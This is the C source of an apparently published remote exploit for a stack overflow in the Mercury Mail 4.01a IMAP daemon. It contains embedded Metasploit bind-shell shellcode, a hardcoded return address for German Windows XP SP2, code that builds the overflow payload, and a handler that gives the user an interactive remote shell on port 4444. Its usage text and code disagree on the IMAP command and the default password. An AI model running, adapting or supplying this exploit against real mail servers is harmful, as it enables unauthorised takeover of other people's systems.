/*           Pegasus Mercury IMAP Daemon - Remote Shell Exploit
 *           --------------------------------------------------
 *           www.tripbit.net                   Author: posidron
 *
 * Description
 *   Mercury Mail Transport System 4.01a contains a stack overflow
 *   vulnerability in LSUB and other IMAP commands. For a complete
 *   reference read the RFC 3501.
 *   POC: a001 LSUB AAAAA...
 *
 * Build
 *   (Windows) Bloodshed Dev C++ 4.9.9.2: link with libwsock32.a
 *   (Linux)  GCC 3.3.5: gcc tt-mercury.c -o tt-mercury -Wall
 *
 * Example
 *  C:\vulndev\mercury>tt-mercury.exe
 *  Mercury 4.01a IMAPD Remote Shell Exploit
 *   -h  hostname
 *   -s  port       [default:   143]
 *   -l  username   [default: Admin]
 *   -p  password   [default: Admin]
 *   -t  target     [default:     1]
 *
 *   [Provided Targets]
 *   0. 0xbeaffeee Debug mode
 *   1. 0x7c951eed ntdll.dll Version: 5.1.2600.2180 (Win.XP.Pro.SP2-German)
 *
 *   C:\vulndev\mercury>
 *
 *   C:\vulndev\mercury>tt-mercury.exe -h 127.0.0.1
 *   (+) Connecting to 127.0.0.1 on port 143
 *   (-) Connected!
 *   (+) Sending authentication
 *   (-) Logged in!
 *   (+) Sending payload:
 *   ($) 0x1 0x7c951eed ntdll.dll Version: 5.1.2600.2180 (Win.XP.Pro.SP2-German)
 *   (-) Done.
 *   (+) Connecting to 127.0.0.1 on port 4444
 *   (-) Connected!
 *
 *   Microsoft Windows XP [Version 5.1.2600]
 *   (C) Copyright 1985-2001 Microsoft Corp.
 *
 *   D:\Programme\MERCURY>
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

/* compiler libs */
#ifdef _WIN32
    #include <getopt.h>
#else
    #include <unistd.h>
#endif

/* network libs */
#ifdef _WIN32
    #include <winsock2.h>
    #pragma comment(lib, "ws2_32")
#else
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <netdb.h>
#endif


#define DEFAULT_IMAP_PORT 143
#define DEFAULT_IMAP_USER "Admin"
#define DEFAULT_IMAP_PASS "abcde"


/* metasploit shellcode, spawn a shell on port 4444 */
char shellcode[]= 
"\x33\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x92"
"\xc9\xd2\x3b\x83\xeb\xfc\xe2\xf4\x6e\xa3\x39\x76\x7a\x30\x2d\xc4"
"\x6d\xa9\x59\x57\xb6\xed\x59\x7e\xae\x42\xae\x3e\xea\xc8\x3d\xb0"
"\xdd\xd1\x59\x64\xb2\xc8\x39\x72\x19\xfd\x59\x3a\x7c\xf8\x12\xa2"
"\x3e\x4d\x12\x4f\x95\x08\x18\x36\x93\x0b\x39\xcf\xa9\x9d\xf6\x13"
"\xe7\x2c\x59\x64\xb6\xc8\x39\x5d\x19\xc5\x99\xb0\xcd\xd5\xd3\xd0"
"\x91\xe5\x59\xb2\xfe\xed\xce\x5a\x51\xf8\x09\x5f\x19\x8a\xe2\xb0"
"\xd2\xc5\x59\x4b\x8e\x64\x59\x7b\x9a\x97\xba\xb5\xdc\xc7\x3e\x6b"
"\x6d\x1f\xb4\x68\xf4\xa1\xe1\x09\xfa\xbe\xa1\x09\xcd\x9d\x2d\xeb"
"\xfa\x02\x3f\xc7\xa9\x99\x2d\xed\xcd\x40\x37\x5d\x13\x24\xda\x39"
"\xc7\xa3\xd0\xc4\x42\xa1\x0b\x32\x67\x64\x85\xc4\x44\x9a\x81\x68"
"\xc1\x9a\x91\x68\xd1\x9a\x2d\xeb\xf4\xa1\xc3\x67\xf4\x9a\x5b\xda"
"\x07\xa1\x76\x21\xe2\x0e\x85\xc4\x44\xa3\xc2\x6a\xc7\x36\x02\x53"
"\x36\x64\xfc\xd2\xc5\x36\x04\x68\xc7\x36\x02\x53\x77\x80\x54\x72"
"\xc5\x36\x04\x6b\xc6\x9d\x87\xc4\x42\x5a\xba\xdc\xeb\x0f\xab\x6c"
"\x6d\x1f\x87\xc4\x42\xaf\xb8\x5f\xf4\xa1\xb1\x56\x1b\x2c\xb8\x6b"
"\xcb\xe0\x1e\xb2\x75\xa3\x96\xb2\x70\xf8\x12\xc8\x38\x37\x90\x16"
"\x6c\x8b\xfe\xa8\x1f\xb3\xea\x90\x39\x62\xba\x49\x6c\x7a\xc4\xc4"
"\xe7\x8d\x2d\xed\xc9\x9e\x80\x6a\xc3\x98\xb8\x3a\xc3\x98\x87\x6a"
"\x6d\x19\xba\x96\x4b\xcc\x1c\x68\x6d\x1f\xb8\xc4\x6d\xfe\x2d\xeb"
"\x19\x9e\x2e\xb8\x56\xad\x2d\xed\xc0\x36\x02\x53\x62\x43\xd6\x64"
"\xc1\x36\x04\xc4\x42\xc9\xd2\x3b";

struct environment
{
  unsigned int num;
  unsigned int ret;
  char name[64];
}
sys[]=
{
  { 0, 0xbeaffeee, "Debug mode" },
  { 1, 0x7c951eed, "ntdll.dll Version: 5.1.2600.2180 (Win.XP.Pro.SP2-German)" }
};

int tcp_connect(char *host, unsigned short port);
int imap_plain_auth(int sock, char *user, char *pass);
int exploit_imap_cmd(int sock, unsigned int target);
void handle_shell(int sock);
void help(void);

int main(int argc, char *argv[])
{
    int opt, sock, i;
    char *options = "h:s:l:p:t:";
    char *host  = NULL;
    char *login = DEFAULT_IMAP_USER;
    char *pass  = DEFAULT_IMAP_PASS;
    unsigned short port = DEFAULT_IMAP_PORT;
    unsigned char target = 1;

    while ((opt = getopt(argc, argv, options)) != -1) {
        switch (opt) {
            case 'h': host   = optarg;       break;
            case 's': port   = atoi(optarg); break;
            case 'l': login  = optarg;       break;
            case 'p': pass   = optarg;       break;
            case 't': target = atoi(optarg); break;
        }
    }

    if (argc == 1 || host == NULL) {
        help();
        printf("[Provided Targets]\n");
        for (i = 0; i <= 1; i++) {
          printf("%u. 0x%x %s\n",
                 sys[i].num, sys[i].ret, sys[i].name);
        }
        return -1;
    }

    printf("(+) Connecting to %s on port %u\n", host, port);
    if ((sock = tcp_connect(host, port)) < 0) {
		 return -2;
    }
    printf("(-) Connected!\n");

    printf("(+) Sending authentication\n");
    if (imap_plain_auth(sock, login, pass) < 0) {
        return -3;
    }
    printf("(-) Logged in!\n");

    printf("(+) Sending payload:\n");
    printf("($) 0x%x 0x%x %s\n",
           sys[target].num, sys[target].ret, sys[target].name);
  
    if (exploit_imap_cmd(sock, sys[target].ret) < 0) {
        return -4;
    }
    printf("(-) Done.\n");

    printf("(+) Connecting to %s on port 4444\n", host);
    if ((sock = tcp_connect(host, 4444)) < 0) {
        return -5;
    }
    printf("(-) Connected!\n\n");

    sleep(3);
    handle_shell(sock);
    close(sock);

    return 0;
}

int tcp_connect(char *host, unsigned short port)
{
    int sock;
    struct sockaddr_in addr;
    struct hostent *h;
#ifdef _WIN32
    WSADATA wsa;

    if (WSAStartup(MAKEWORD(1, 1), &wsa)) {
        printf("error: WSAStartup failed (%lu)\n", WSAGetLastError());
        return -1;
    }
#endif

    if ((h = gethostbyname(host)) == NULL) {
        printf("error: gethostbyname()\n");
        return -2;
    }

    if ((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
        printf("error: socket()\n");
        return -3;
    }

    addr.sin_addr = *((struct in_addr*)h->h_addr);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);

    if (connect(sock, (struct sockaddr*)&addr, sizeof (addr)) == -1) {
        close(sock);
        printf("error: connect()\n");
        return -4;
    }

    return sock;
}

int imap_plain_auth(int sock, char *user, char *pass)
{
    int nbytes;
    char temp[256];

    if ((nbytes = recv(sock, temp, sizeof (temp) - 1, 0)) == -1) {
        printf("error: recv()\n");
        close(sock);
        return -1;
    }
    temp[nbytes] = '\0';
    if (strstr(temp, "4.01a") == NULL) {
        printf("warning: version check failed!\n");
        sleep(5);
    }

    memset(temp, '\0', sizeof (temp));
    snprintf(temp, sizeof (temp), "AUTH LOGIN %s %s\r\n", user, pass);
    if ((nbytes = send(sock, temp, strlen(temp), 0)) == -1) {
        printf("error: send()\n");
        close(sock);
        return -3;
    }
    if ((nbytes = recv(sock, temp, sizeof (temp) - 1, 0)) == -1) {
        printf("error: recv()\n");
        close(sock);
        return -4;
    }
    temp[nbytes] = '\0';

    if (strstr(temp, "OK") == NULL) {
        printf("error: authentication failed!\n");
        close(sock);
        return -5;
    }

    return sock;
}

int exploit_imap_cmd(int sock, unsigned int eip)
{
    int nbytes;
    char *buff, *dump;

    nbytes = 260 + strlen(shellcode) + 12 + 1;
    dump = malloc(nbytes);
    memset(dump, 0x90, nbytes);
    memcpy(dump+260, &eip, 4);
    memcpy(dump+272, shellcode, strlen(shellcode));

    nbytes = nbytes + strlen("a001 LSUB \r\n") + 1;
    buff = malloc(nbytes);
    memset(buff, 0x00, sizeof (buff));
    sprintf(buff, "a001 LIST %s\r\n", dump);

    if ((nbytes = send(sock, buff, strlen(buff), 0)) == -1) {
        printf("error: send()");
        close(sock);
    }

    free(buff);
    free(dump);

    return nbytes;
}

void handle_shell(int sock)
{
    int r;
    char buf[5096];
    struct timeval time;
    unsigned long ul[2];

    time.tv_sec = 1;
    time.tv_usec = 0;

    while (1) {
        ul[0] = 1;
        ul[1] = sock;

        r = select (0, (fd_set *)&ul, NULL, NULL, &time);

        if(r == 1) {
            if ((r = recv (sock, buf, sizeof (buf), 0)) <= 0) {
                printf("bye bye...\n");
                return;
            }
            if ((r = write (1, buf, r)) <= 0) {
                printf("bye bye...\n");
                return;
            }
        } else {
            if ((r = read (0, buf, sizeof (buf))) <= 0) {
                printf("bye bye...\n");
                return;
            }
            if ((r = send(sock, buf, r, 0)) <= 0) {
                printf("bye bye...\n");
                return;
            }
        }
    }
}

void help(void) 
{
    printf("Mercury 4.01a Remote Shell Exploit\n"
           "-h  hostname\n"
           "-s  port       [default:   143]\n"
           "-l  username   [default: Admin]\n"
           "-p  password   [default: Admin]\n"
           "-t  target     [default:     1]\n\n");
}
